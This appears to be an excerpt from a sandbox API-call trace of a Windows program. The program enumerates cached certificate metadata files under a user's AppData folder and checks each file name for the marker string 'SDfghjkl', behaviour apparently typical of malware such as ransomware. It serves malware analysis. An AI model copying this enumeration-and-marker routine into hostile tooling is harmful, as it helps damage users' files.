[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1
[0131.120] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 119
[0131.120] StrStrIW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch="SDfghjkl") returned 0x0
[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1
[0131.120] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 152
[0131.120] StrStrIW (lpFirst="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpSrch="SDfghjkl") returned 0x0
[0131.120] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1
[0131.125] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 152
[0131.125] StrStrIW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpSrch="SDfghjkl") returned 0x0
[0131.125] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1
[0131.125] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 152
[0131.125] StrStrIW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpSrch="SDfghjkl") returned 0x0
[0131.125] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1
[0131.125] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned 152
[0131.126] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpSrch="SDfghjkl") returned 0x0
[0131.126] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1
[0131.126] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned 152
[0131.126] StrStrIW (lpFirst="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpSrch="SDfghjkl") returned 0x0
[0131.127] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1
[0131.127] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned 152
[0131.127] StrStrIW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpSrch="SDfghjkl") returned 0x0
[0131.127] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1
[0131.127] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned 152
[0131.127] StrStrIW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpSrch="SDfghjkl") returned 0x0
[0131.127] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0x0, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1
[0131.127] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned 152
[0131.127] StrStrIW (lpFirst="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpSrch="SDfghjkl") returned 0x0
[0131.127] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1
[0131.127] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned 119
[0131.127] StrStrIW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch="SDfghjkl") returned 0x0
[0131.127] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1
[0131.127] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned 152
[0131.127] StrStrIW (lpFirst="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpSrch="SDfghjkl") returned 0x0
[0131.127] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1
[0131.128] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned 152
[0131.128] StrStrIW (lpFirst="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpSrch="SDfghjkl") returned 0x0
[0131.128] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1
[0131.128] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned 152
[0131.128] StrStrIW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpSrch="SDfghjkl") returned 0x0
[0131.128] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1
[0131.128] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned 152
[0131.128] StrStrIW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpSrch="SDfghjkl") returned 0x0
[0131.128] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1
[0131.128] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned 152
[0131.128] StrStrIW (lpFirst="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpSrch="SDfghjkl") returned 0x0
